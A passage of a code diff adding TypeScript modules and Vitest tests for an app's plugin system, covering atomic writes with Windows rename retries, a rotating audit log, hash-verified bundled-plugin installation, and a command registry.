||||
let restorePlatform: () => void
|
||||
|
||||
beforeEach(async () => {
|
||||
dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-win-'))
|
||||
restorePlatform = withPlatform('win32')
|
||||
})
|
||||
|
||||
afterEach(async () => {
|
||||
restorePlatform()
|
||||
locks.codes = []
|
||||
await rm(dir, { recursive: true, force: true })
|
||||
})
|
||||
|
||||
it.each(['EPERM', 'EACCES', 'EBUSY'])('retries past a transient %s lock', async (code) => {
|
||||
await writePluginFileAtomically(join(dir, 'from'), 'payload')
|
||||
locks.codes = [code, code]
|
||||
await renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
|
||||
expect(await readFile(join(dir, 'to'), 'utf8')).toBe('payload')
|
||||
expect(locks.codes).toEqual([])
|
||||
})
|
||||
|
||||
it('gives up after the last delay rather than looping forever', async () => {
|
||||
await writePluginFileAtomically(join(dir, 'from'), 'payload')
|
||||
// One more lock than there are delays, so the loop must exit on the bound.
|
||||
locks.codes = Array.from({ length: 6 }, () => 'EBUSY')
|
||||
await expect(
|
||||
renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
|
||||
).rejects.toMatchObject({ code: 'EBUSY' })
|
||||
expect(locks.codes).toEqual([])
|
||||
})
|
||||
|
||||
it('rethrows a non-retryable code without retrying', async () => {
|
||||
await writePluginFileAtomically(join(dir, 'from'), 'payload')
|
||||
locks.codes = ['ENOSPC', 'ENOSPC']
|
||||
await expect(
|
||||
renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
|
||||
).rejects.toMatchObject({ code: 'ENOSPC' })
|
||||
expect(locks.codes).toEqual(['ENOSPC'])
|
||||
})
|
||||
})
|
||||
|
||||
it('does not retry off Windows', async () => {
|
||||
const dir = await mkdtemp(join(tmpdir(), 'orca-plugin-rename-posix-'))
|
||||
const restorePlatform = withPlatform('linux')
|
||||
try {
|
||||
await writePluginFileAtomically(join(dir, 'from'), 'payload')
|
||||
locks.codes = ['EPERM', 'EPERM']
|
||||
await expect(
|
||||
renamePluginFileWithWindowsRetry(join(dir, 'from'), join(dir, 'to'))
|
||||
).rejects.toMatchObject({ code: 'EPERM' })
|
||||
expect(locks.codes).toEqual(['EPERM'])
|
||||
} finally {
|
||||
restorePlatform()
|
||||
locks.codes = []
|
||||
await rm(dir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
import { randomUUID } from 'node:crypto'
|
||||
import { rename, rm, writeFile } from 'node:fs/promises'
|
||||
|
||||
/**
|
||||
* Atomic write for plugin state files (lockfile, provenance, pointers, caches).
|
||||
*
|
||||
* Why the retry: on Windows the rename can fail with EPERM/EACCES/EBUSY while
|
||||
* antivirus or an indexer holds the target open (issue #1507). The repo's
|
||||
* existing `renameFileWithWindowsRetry` covers the same hazard but is sync;
|
||||
* every plugin write path is async, so the backoff parks on a timer instead.
|
||||
*/
|
||||
|
||||
const WINDOWS_RENAME_RETRY_DELAYS_MS = [50, 100, 150, 200, 250]
|
||||
|
||||
export type PluginAtomicWriteOptions = { mode?: number }
|
||||
|
||||
export async function writePluginFileAtomically(
|
||||
target: string,
|
||||
contents: string,
|
||||
options?: PluginAtomicWriteOptions
|
||||
): Promise<void> {
|
||||
// Unique temp name so concurrent writers in one plugins dir cannot collide.
|
||||
const temporary = `${target}.${process.pid}.${randomUUID()}.tmp`
|
||||
try {
|
||||
await writeFile(temporary, contents, { encoding: 'utf8', mode: options?.mode })
|
||||
await renamePluginFileWithWindowsRetry(temporary, target)
|
||||
} finally {
|
||||
await rm(temporary, { force: true }).catch(() => undefined)
|
||||
}
|
||||
}
|
||||
|
||||
export async function renamePluginFileWithWindowsRetry(
|
||||
source: string,
|
||||
target: string
|
||||
): Promise<void> {
|
||||
for (let attempt = 0; ; attempt += 1) {
|
||||
try {
|
||||
await rename(source, target)
|
||||
return
|
||||
} catch (error) {
|
||||
const code = (error as NodeJS.ErrnoException).code
|
||||
const retryable = code === 'EPERM' || code === 'EACCES' || code === 'EBUSY'
|
||||
if (
|
||||
process.platform !== 'win32' ||
|
||||
!retryable ||
|
||||
attempt >= WINDOWS_RENAME_RETRY_DELAYS_MS.length
|
||||
) {
|
||||
throw error
|
||||
}
|
||||
await new Promise<void>((resolve) =>
|
||||
setTimeout(resolve, WINDOWS_RENAME_RETRY_DELAYS_MS[attempt])
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
import { mkdtemp, rm, stat } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
import { PluginAuditLog } from './plugin-audit-log'
|
||||
|
||||
const roots: string[] = []
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
||||
})
|
||||
|
||||
describe('PluginAuditLog retention', () => {
|
||||
it('rotates bounded segments while preserving recent entries across the boundary', async () => {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-plugin-audit-'))
|
||||
roots.push(root)
|
||||
const audit = new PluginAuditLog(root, { maxBytes: 240 })
|
||||
|
||||
for (let index = 0; index < 8; index += 1) {
|
||||
await audit.record({
|
||||
ts: index,
|
||||
actor: 'plugin:orca-samples.demo',
|
||||
method: 'storage.set',
|
||||
summary: `key=${index}`,
|
||||
outcome: 'ok'
|
||||
})
|
||||
}
|
||||
|
||||
await expect(stat(join(root, 'audit.log'))).resolves.toMatchObject({
|
||||
isFile: expect.any(Function)
|
||||
})
|
||||
await expect(stat(join(root, 'audit.log.1'))).resolves.toMatchObject({
|
||||
isFile: expect.any(Function)
|
||||
})
|
||||
const recent = await audit.readRecent(3)
|
||||
expect(recent.map((entry) => entry.ts)).toEqual([5, 6, 7])
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,86 @@
|
|||
import { appendFile, mkdir, readFile, rename, rm, stat } from 'node:fs/promises'
|
||||
import { dirname, join } from 'node:path'
|
||||
|
||||
/**
|
||||
* Append-only audit trail for host-API mutations performed on a plugin's
|
||||
* behalf, with actor `plugin:<qualifiedKey>`. One JSONL file so support and
|
||||
* enterprise policy tooling can replay exactly what plugins did through the
|
||||
* gated API. (Honest scope: worker code acting through its own Node access
|
||||
* bypasses this — stated in the consent UI.) Mutation intents are awaited
|
||||
* before their handler runs so an API-mediated write cannot outrun the log.
|
||||
*/
|
||||
|
||||
export type PluginAuditEntry = {
|
||||
ts: number
|
||||
actor: `plugin:${string}`
|
||||
method: string
|
||||
/** Bounded summary — never full params (they may contain user content). */
|
||||
summary: string
|
||||
outcome: 'attempt' | 'ok' | 'error'
|
||||
}
|
||||
|
||||
export class PluginAuditLog {
|
||||
private readonly filePath: string
|
||||
private readonly rotatedFilePath: string
|
||||
private readonly maxBytes: number
|
||||
private writeChain: Promise<void> = Promise.resolve()
|
||||
private fileBytes: number | null = null
|
||||
|
||||
constructor(pluginsDataDir: string, options: { maxBytes?: number } = {}) {
|
||||
this.filePath = join(pluginsDataDir, 'audit.log')
|
||||
this.rotatedFilePath = join(pluginsDataDir, 'audit.log.1')
|
||||
this.maxBytes = options.maxBytes ?? 10 * 1024 * 1024
|
||||
}
|
||||
|
||||
record(entry: PluginAuditEntry): Promise<void> {
|
||||
const write = this.writeChain.then(async () => {
|
||||
await mkdir(dirname(this.filePath), { recursive: true })
|
||||
const line = `${JSON.stringify(entry)}\n`
|
||||
if (this.fileBytes === null) {
|
||||
this.fileBytes = await stat(this.filePath).then(
|
||||
(file) => file.size,
|
||||
() => 0
|
||||
)
|
||||
}
|
||||
const lineBytes = Buffer.byteLength(line, 'utf8')
|
||||
if (this.fileBytes > 0 && this.fileBytes + lineBytes > this.maxBytes) {
|
||||
await rm(this.rotatedFilePath, { force: true })
|
||||
await rename(this.filePath, this.rotatedFilePath).catch((error) => {
|
||||
if ((error as NodeJS.ErrnoException).code !== 'ENOENT') {
|
||||
throw error
|
||||
}
|
||||
})
|
||||
this.fileBytes = 0
|
||||
}
|
||||
await appendFile(this.filePath, line, 'utf8')
|
||||
this.fileBytes += lineBytes
|
||||
})
|
||||
// Keep the serialization chain usable after a failed append while still
|
||||
// exposing this write's failure to the mutation chokepoint.
|
||||
this.writeChain = write.catch(() => undefined)
|
||||
return write
|
||||
}
|
||||
|
||||
async flush(): Promise<void> {
|
||||
await this.writeChain
|
||||
}
|
||||
|
||||
async readRecent(limit = 200): Promise<PluginAuditEntry[]> {
|
||||
try {
|
||||
const [rotated, current] = await Promise.all(
|
||||
[this.rotatedFilePath, this.filePath].map((path) => readFile(path, 'utf8').catch(() => ''))
|
||||
)
|
||||
const text = rotated + current
|
||||
const lines = text.split('\n').filter((line) => line.length > 0)
|
||||
return lines.slice(-limit).flatMap((line) => {
|
||||
try {
|
||||
return [JSON.parse(line) as PluginAuditEntry]
|
||||
} catch {
|
||||
return []
|
||||
}
|
||||
})
|
||||
} catch {
|
||||
return []
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,74 @@
|
|||
import { describe, expect, it, vi } from 'vitest'
|
||||
import type { PluginBundledBootstrapResult } from './plugin-bundled-bootstrap'
|
||||
import { PluginBundledBootstrapCoordinator } from './plugin-bundled-bootstrap-coordinator'
|
||||
|
||||
const unchanged: PluginBundledBootstrapResult = {
|
||||
installed: [],
|
||||
unchanged: ['stablyai.orca-theme'],
|
||||
errors: []
|
||||
}
|
||||
|
||||
describe('PluginBundledBootstrapCoordinator', () => {
|
||||
it('skips disabled requests and refreshes discovery only after publication', async () => {
|
||||
let enabled = false
|
||||
const bootstrap = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(unchanged)
|
||||
.mockResolvedValueOnce({
|
||||
installed: ['stablyai.orca-theme'],
|
||||
unchanged: [],
|
||||
errors: []
|
||||
})
|
||||
const refreshPlugins = vi.fn().mockResolvedValue(undefined)
|
||||
const coordinator = new PluginBundledBootstrapCoordinator({
|
||||
root: 'resources',
|
||||
userDataPath: 'user-data',
|
||||
hostVersion: '1.4.0',
|
||||
isEnabled: () => enabled,
|
||||
refreshPlugins,
|
||||
bootstrap
|
||||
})
|
||||
|
||||
await expect(coordinator.request()).resolves.toBeNull()
|
||||
enabled = true
|
||||
await expect(coordinator.request()).resolves.toEqual(unchanged)
|
||||
expect(refreshPlugins).not.toHaveBeenCalled()
|
||||
await coordinator.request()
|
||||
expect(refreshPlugins).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('serializes overlapping startup and feature-toggle requests', async () => {
|
||||
let active = 0
|
||||
let maximumActive = 0
|
||||
let releaseFirst: (() => void) | undefined
|
||||
const firstGate = new Promise<void>((resolve) => {
|
||||
releaseFirst = resolve
|
||||
})
|
||||
const bootstrap = vi.fn(async (): Promise<PluginBundledBootstrapResult> => {
|
||||
active += 1
|
||||
maximumActive = Math.max(maximumActive, active)
|
||||
if (bootstrap.mock.calls.length === 1) {
|
||||
await firstGate
|
||||
}
|
||||
active -= 1
|
||||
return unchanged
|
||||
})
|
||||
const coordinator = new PluginBundledBootstrapCoordinator({
|
||||
root: 'resources',
|
||||
userDataPath: 'user-data',
|
||||
hostVersion: '1.4.0',
|
||||
isEnabled: () => true,
|
||||
refreshPlugins: vi.fn().mockResolvedValue(undefined),
|
||||
bootstrap
|
||||
})
|
||||
|
||||
const first = coordinator.request()
|
||||
const second = coordinator.request()
|
||||
await vi.waitFor(() => expect(bootstrap).toHaveBeenCalledTimes(1))
|
||||
releaseFirst?.()
|
||||
await Promise.all([first, second])
|
||||
|
||||
expect(bootstrap).toHaveBeenCalledTimes(2)
|
||||
expect(maximumActive).toBe(1)
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
import {
|
||||
bootstrapBundledPlugins,
|
||||
type PluginBundledBootstrapResult
|
||||
} from './plugin-bundled-bootstrap'
|
||||
|
||||
type PluginBundledBootstrapRequest = Parameters<typeof bootstrapBundledPlugins>[0]
|
||||
|
||||
export class PluginBundledBootstrapCoordinator {
|
||||
private readonly options: PluginBundledBootstrapRequest & {
|
||||
isEnabled: () => boolean
|
||||
refreshPlugins: () => Promise<void>
|
||||
bootstrap?: typeof bootstrapBundledPlugins
|
||||
}
|
||||
private pending: Promise<void> = Promise.resolve()
|
||||
|
||||
constructor(options: PluginBundledBootstrapCoordinator['options']) {
|
||||
this.options = options
|
||||
}
|
||||
|
||||
request(): Promise<PluginBundledBootstrapResult | null> {
|
||||
const run = this.pending.then(() => this.runOnce())
|
||||
// Why: feature-toggle and startup requests can overlap; preserve their
|
||||
// order even when one resource read fails.
|
||||
this.pending = run.then(
|
||||
() => undefined,
|
||||
() => undefined
|
||||
)
|
||||
return run
|
||||
}
|
||||
|
||||
private async runOnce(): Promise<PluginBundledBootstrapResult | null> {
|
||||
if (!this.options.isEnabled()) {
|
||||
return null
|
||||
}
|
||||
const result = await (this.options.bootstrap ?? bootstrapBundledPlugins)({
|
||||
root: this.options.root,
|
||||
userDataPath: this.options.userDataPath,
|
||||
hostVersion: this.options.hostVersion,
|
||||
...(this.options.blockedPluginReason
|
||||
? { blockedPluginReason: this.options.blockedPluginReason }
|
||||
: {})
|
||||
})
|
||||
if (result.installed.length > 0) {
|
||||
await this.options.refreshPlugins()
|
||||
}
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,134 @@
|
|||
import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
import { hashPluginTree } from './plugin-content-hash'
|
||||
import { readPluginLockfile } from './plugin-install'
|
||||
import { bootstrapBundledPlugins, resolveBundledPluginRoot } from './plugin-bundled-bootstrap'
|
||||
|
||||
const roots: string[] = []
|
||||
|
||||
async function tempRoot(prefix: string): Promise<string> {
|
||||
const root = await mkdtemp(join(tmpdir(), prefix))
|
||||
roots.push(root)
|
||||
return root
|
||||
}
|
||||
|
||||
async function writeBundle(root: string, name = 'Skills'): Promise<{ path: string; hash: string }> {
|
||||
const path = 'stablyai.orca-skills'
|
||||
const pluginRoot = join(root, path)
|
||||
await mkdir(pluginRoot, { recursive: true })
|
||||
await writeFile(
|
||||
join(pluginRoot, 'orca-plugin.json'),
|
||||
JSON.stringify({
|
||||
manifestVersion: 1,
|
||||
id: 'orca-skills',
|
||||
publisher: 'stablyai',
|
||||
name,
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
capabilities: []
|
||||
})
|
||||
)
|
||||
const hashed = await hashPluginTree(pluginRoot)
|
||||
if (!hashed.ok) {
|
||||
throw new Error(hashed.error)
|
||||
}
|
||||
return { path, hash: hashed.hash }
|
||||
}
|
||||
|
||||
async function writeIndex(root: string, path: string, contentHash: string): Promise<void> {
|
||||
await writeFile(
|
||||
join(root, 'bundled-plugins.json'),
|
||||
JSON.stringify({
|
||||
version: 1,
|
||||
plugins: [{ pluginKey: 'stablyai.orca-skills', path, contentHash }]
|
||||
})
|
||||
)
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
||||
})
|
||||
|
||||
describe('bundled plugin bootstrap', () => {
|
||||
it('installs release-indexed content once and keeps unchanged startup work bounded', async () => {
|
||||
const root = await tempRoot('orca-bundled-resources-')
|
||||
const userDataPath = await tempRoot('orca-bundled-user-data-')
|
||||
const bundle = await writeBundle(root)
|
||||
await writeIndex(root, bundle.path, bundle.hash)
|
||||
|
||||
await expect(
|
||||
bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
|
||||
).resolves.toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
|
||||
await expect(
|
||||
bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
|
||||
).resolves.toEqual({ installed: [], unchanged: ['stablyai.orca-skills'], errors: [] })
|
||||
})
|
||||
|
||||
it('publishes an updated immutable bundle only when the indexed hash matches', async () => {
|
||||
const root = await tempRoot('orca-bundled-resources-')
|
||||
const userDataPath = await tempRoot('orca-bundled-user-data-')
|
||||
const first = await writeBundle(root)
|
||||
await writeIndex(root, first.path, first.hash)
|
||||
await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
|
||||
const second = await writeBundle(root, 'Updated Skills')
|
||||
await writeIndex(root, second.path, second.hash)
|
||||
|
||||
const updated = await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
|
||||
|
||||
expect(updated).toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
|
||||
const lock = await readPluginLockfile(join(userDataPath, 'plugins'))
|
||||
expect(lock.plugins['stablyai.orca-skills']?.contentHash).toBe(second.hash)
|
||||
})
|
||||
|
||||
it('repairs a missing or modified bundled current version', async () => {
|
||||
const root = await tempRoot('orca-bundled-resources-')
|
||||
const userDataPath = await tempRoot('orca-bundled-user-data-')
|
||||
const bundle = await writeBundle(root)
|
||||
await writeIndex(root, bundle.path, bundle.hash)
|
||||
await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
|
||||
const versionDir = join(userDataPath, 'plugins', 'stablyai.orca-skills', bundle.hash)
|
||||
await writeFile(join(versionDir, 'orca-plugin.json'), '{}')
|
||||
|
||||
await expect(
|
||||
bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
|
||||
).resolves.toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
|
||||
|
||||
await rm(versionDir, { recursive: true, force: true })
|
||||
await expect(
|
||||
bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
|
||||
).resolves.toEqual({ installed: ['stablyai.orca-skills'], unchanged: [], errors: [] })
|
||||
})
|
||||
|
||||
it('refuses mismatched release hashes before publication', async () => {
|
||||
const root = await tempRoot('orca-bundled-resources-')
|
||||
const userDataPath = await tempRoot('orca-bundled-user-data-')
|
||||
const bundle = await writeBundle(root)
|
||||
await writeIndex(root, bundle.path, 'f'.repeat(64))
|
||||
|
||||
const result = await bootstrapBundledPlugins({ root, userDataPath, hostVersion: '1.4.0' })
|
||||
|
||||
expect(result.installed).toEqual([])
|
||||
expect(result.errors[0]?.error).toContain('does not match its release index')
|
||||
expect((await readPluginLockfile(join(userDataPath, 'plugins'))).plugins).toEqual({})
|
||||
})
|
||||
|
||||
it('resolves packaged and development resource roots without platform separators', () => {
|
||||
expect(
|
||||
resolveBundledPluginRoot({
|
||||
isPackaged: true,
|
||||
resourcesPath: join('app', 'resources'),
|
||||
appPath: join('repo', 'app')
|
||||
})
|
||||
).toBe(join('app', 'resources', 'plugins', 'launch'))
|
||||
expect(
|
||||
resolveBundledPluginRoot({
|
||||
isPackaged: false,
|
||||
resourcesPath: join('app', 'resources'),
|
||||
appPath: join('repo', 'app')
|
||||
})
|
||||
).toBe(join('repo', 'app', 'resources', 'plugins', 'launch'))
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,154 @@
|
|||
import { readFile, realpath, stat } from 'node:fs/promises'
|
||||
import { isAbsolute, join, relative, sep } from 'node:path'
|
||||
import { z } from 'zod'
|
||||
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
|
||||
import { pluginRelativeDirectorySchema } from '../../shared/plugins/plugin-manifest-fields'
|
||||
import { isOfficialPluginIdentity } from '../../shared/plugins/plugin-marketplace'
|
||||
import { getUserPluginsDir } from './plugin-discovery'
|
||||
import { installBundledPlugin, readPluginLockfile } from './plugin-install'
|
||||
import { inspectPluginInstallTree } from './plugin-install-staging'
|
||||
import { readPluginCurrentPointer } from './plugin-current-pointer'
|
||||
import { hashPluginTree } from './plugin-content-hash'
|
||||
|
||||
export const BUNDLED_PLUGIN_INDEX_FILENAME = 'bundled-plugins.json'
|
||||
const BUNDLED_PLUGIN_INDEX_MAX_BYTES = 64 * 1024
|
||||
|
||||
const bundledPluginIndexSchema = z
|
||||
.object({
|
||||
version: z.literal(1),
|
||||
plugins: z
|
||||
.array(
|
||||
z
|
||||
.object({
|
||||
pluginKey: z
|
||||
.string()
|
||||
.refine(isQualifiedPluginKey, 'invalid qualified plugin identity')
|
||||
.refine(isOfficialPluginIdentity, 'bundled plugins must use an official identity'),
|
||||
path: pluginRelativeDirectorySchema,
|
||||
contentHash: z.string().regex(/^[0-9a-f]{64}$/)
|
||||
})
|
||||
.strict()
|
||||
)
|
||||
.max(32)
|
||||
})
|
||||
.strict()
|
||||
.superRefine((index, ctx) => {
|
||||
const keys = new Set<string>()
|
||||
for (const [entryIndex, plugin] of index.plugins.entries()) {
|
||||
if (keys.has(plugin.pluginKey)) {
|
||||
ctx.addIssue({
|
||||
code: 'custom',
|
||||
path: ['plugins', entryIndex, 'pluginKey'],
|
||||
message: 'duplicate bundled plugin identity'
|
||||
})
|
||||
}
|
||||
keys.add(plugin.pluginKey)
|
||||
}
|
||||
})
|
||||
|
||||
export type PluginBundledBootstrapResult = {
|
||||
installed: string[]
|
||||
unchanged: string[]
|
||||
errors: { pluginKey: string; error: string }[]
|
||||
}
|
||||
|
||||
export function resolveBundledPluginRoot(options: {
|
||||
isPackaged: boolean
|
||||
resourcesPath: string
|
||||
appPath: string
|
||||
}): string {
|
||||
return options.isPackaged
|
||||
? join(options.resourcesPath, 'plugins', 'launch')
|
||||
: join(options.appPath, 'resources', 'plugins', 'launch')
|
||||
}
|
||||
|
||||
async function readBundledPluginIndex(
|
||||
root: string
|
||||
): Promise<z.infer<typeof bundledPluginIndexSchema>> {
|
||||
const indexPath = join(root, BUNDLED_PLUGIN_INDEX_FILENAME)
|
||||
const metadata = await stat(indexPath)
|
||||
if (!metadata.isFile() || metadata.size > BUNDLED_PLUGIN_INDEX_MAX_BYTES) {
|
||||
throw new Error(`bundled plugin index exceeds ${BUNDLED_PLUGIN_INDEX_MAX_BYTES} bytes`)
|
||||
}
|
||||
return bundledPluginIndexSchema.parse(JSON.parse(await readFile(indexPath, 'utf8')))
|
||||
}
|
||||
|
||||
async function resolveBundlePath(root: string, path: string): Promise<string> {
|
||||
const [resolvedRoot, resolvedPath] = await Promise.all([
|
||||
realpath(root),
|
||||
realpath(join(root, path))
|
||||
])
|
||||
const fromRoot = relative(resolvedRoot, resolvedPath)
|
||||
if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
|
||||
throw new Error('bundled plugin path escapes the resource root')
|
||||
}
|
||||
return resolvedPath
|
||||
}
|
||||
|
||||
async function bundledInstallIsIntact(
|
||||
pluginsDir: string,
|
||||
pluginKey: string,
|
||||
contentHash: string
|
||||
): Promise<boolean> {
|
||||
const pluginDir = join(pluginsDir, pluginKey)
|
||||
if ((await readPluginCurrentPointer(pluginDir).catch(() => null)) !== contentHash) {
|
||||
return false
|
||||
}
|
||||
const hashed = await hashPluginTree(join(pluginDir, contentHash))
|
||||
return hashed.ok && hashed.hash === contentHash
|
||||
}
|
||||
|
||||
export async function bootstrapBundledPlugins(options: {
|
||||
root: string
|
||||
userDataPath: string
|
||||
hostVersion: string
|
||||
blockedPluginReason?: (pluginKey: string) => string | null
|
||||
}): Promise<PluginBundledBootstrapResult> {
|
||||
const index = await readBundledPluginIndex(options.root)
|
||||
const pluginsDir = getUserPluginsDir(options.userDataPath)
|
||||
const lock = await readPluginLockfile(pluginsDir)
|
||||
const result: PluginBundledBootstrapResult = { installed: [], unchanged: [], errors: [] }
|
||||
for (const entry of index.plugins) {
|
||||
const locked = lock.plugins[entry.pluginKey]
|
||||
if (
|
||||
locked?.source.kind === 'bundled' &&
|
||||
locked.source.bundleId === entry.pluginKey &&
|
||||
locked.contentHash === entry.contentHash &&
|
||||
(await bundledInstallIsIntact(pluginsDir, entry.pluginKey, entry.contentHash))
|
||||
) {
|
||||
result.unchanged.push(entry.pluginKey)
|
||||
continue
|
||||
}
|
||||
try {
|
||||
const sourcePath = await resolveBundlePath(options.root, entry.path)
|
||||
const inspection = await inspectPluginInstallTree({
|
||||
rootDir: sourcePath,
|
||||
hostVersion: options.hostVersion,
|
||||
expectedPluginKey: entry.pluginKey
|
||||
})
|
||||
if (!inspection.ok) {
|
||||
throw new Error(inspection.error)
|
||||
}
|
||||
if (inspection.contentHash !== entry.contentHash) {
|
||||
throw new Error('bundled plugin content does not match its release index')
|
||||
}
|
||||
const installed = await installBundledPlugin({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: options.hostVersion,
|
||||
expectedPluginKey: entry.pluginKey,
|
||||
blockedPluginReason: options.blockedPluginReason
|
||||
})
|
||||
if (!installed.ok) {
|
||||
throw new Error(installed.error)
|
||||
}
|
||||
result.installed.push(entry.pluginKey)
|
||||
} catch (error) {
|
||||
result.errors.push({
|
||||
pluginKey: entry.pluginKey,
|
||||
error: error instanceof Error ? error.message : String(error)
|
||||
})
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
import type { ValidDiscoveredPlugin } from './plugin-discovery'
|
||||
|
||||
export function assertPluginWorkerCommand(plugin: ValidDiscoveredPlugin, commandId: string): void {
|
||||
const command = plugin.manifest.contributes.commands.find((entry) => entry.id === commandId)
|
||||
if (!command) {
|
||||
throw new Error(`plugin ${plugin.pluginKey} does not contribute command ${commandId}`)
|
||||
}
|
||||
// Declarative aliases are renderer-owned and must never cross the worker
|
||||
// activation boundary, even if a compromised renderer invokes IPC directly.
|
||||
if (command.action !== undefined) {
|
||||
throw new Error(`plugin ${plugin.pluginKey} command ${commandId} is a built-in action alias`)
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,180 @@
|
|||
import { describe, expect, it } from 'vitest'
|
||||
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
|
||||
import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
|
||||
import type { ValidDiscoveredPlugin } from './plugin-discovery'
|
||||
import { PluginCommandRegistry } from './plugin-command-registry'
|
||||
|
||||
function commandPlugin(
|
||||
id: string,
|
||||
contributes: {
|
||||
commands: Record<string, unknown>[]
|
||||
keybindings?: Record<string, unknown>[]
|
||||
}
|
||||
): ValidDiscoveredPlugin {
|
||||
const manifest = pluginManifestSchema.parse({
|
||||
manifestVersion: 1,
|
||||
id,
|
||||
publisher: 'orca-samples',
|
||||
name: id,
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
...(contributes.commands.some((command) => command.action === undefined)
|
||||
? { main: 'worker.js' }
|
||||
: {}),
|
||||
contributes,
|
||||
capabilities: []
|
||||
})
|
||||
return {
|
||||
pluginKey: `orca-samples.${id}`,
|
||||
rootDir: `/plugins/${id}`,
|
||||
manifest,
|
||||
consentFingerprint: fingerprintPluginConsent(manifest, `content-${id}`),
|
||||
consentContentHash: `content-${id}`,
|
||||
contentHash: `content-${id}`,
|
||||
isDev: false
|
||||
}
|
||||
}
|
||||
|
||||
describe('PluginCommandRegistry', () => {
|
||||
it('retains pending previews and exposes only approved commands', () => {
|
||||
const plugin = commandPlugin('aliases', {
|
||||
commands: [{ id: 'tasks', title: 'Open Tasks', action: 'view.tasks' }],
|
||||
keybindings: [{ command: 'tasks', key: 'mod+alt+t' }]
|
||||
})
|
||||
const registry = new PluginCommandRegistry()
|
||||
|
||||
registry.reconcile([plugin], () => false)
|
||||
expect(registry.list()).toEqual([])
|
||||
expect(registry.preview(plugin.pluginKey)).toEqual([
|
||||
{
|
||||
pluginKey: plugin.pluginKey,
|
||||
id: 'tasks',
|
||||
title: 'Open Tasks',
|
||||
context: 'global',
|
||||
handler: { type: 'built-in', action: 'view.tasks' },
|
||||
keybindings: [{ key: 'Mod+Alt+T', when: 'global' }]
|
||||
}
|
||||
])
|
||||
|
||||
registry.reconcile([plugin], () => true)
|
||||
expect(registry.list()).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('projects worker commands and inherited worktree keybinding context', () => {
|
||||
const plugin = commandPlugin('worker', {
|
||||
commands: [{ id: 'create', title: 'Create Task', context: 'worktree' }],
|
||||
keybindings: [{ command: 'create', key: 'Mod+Shift+A' }]
|
||||
})
|
||||
const registry = new PluginCommandRegistry()
|
||||
|
||||
registry.reconcile([plugin], () => true)
|
||||
|
||||
expect(registry.list()).toMatchObject([
|
||||
{
|
||||
context: 'worktree',
|
||||
handler: { type: 'worker' },
|
||||
keybindings: [{ key: 'Mod+Shift+A', when: 'worktree' }]
|
||||
}
|
||||
])
|
||||
})
|
||||
|
||||
it('errors approved plugins whose keybindings overlap', () => {
|
||||
const global = commandPlugin('global', {
|
||||
commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
|
||||
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T', when: 'global' }]
|
||||
})
|
||||
const worktree = commandPlugin('worktree', {
|
||||
commands: [{ id: 'tasks', title: 'Tasks', context: 'worktree', action: 'view.tasks' }],
|
||||
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T', when: 'worktree' }]
|
||||
})
|
||||
const registry = new PluginCommandRegistry()
|
||||
|
||||
registry.reconcile([global, worktree], () => true)
|
||||
|
||||
expect(registry.list()).toEqual([])
|
||||
expect(registry.error(global.pluginKey)).toContain('conflicts')
|
||||
expect(registry.error(worktree.pluginKey)).toContain('conflicts')
|
||||
})
|
||||
|
||||
it('uses saved effective bindings to recover conflicting plugins', () => {
|
||||
const first = commandPlugin('first', {
|
||||
commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
|
||||
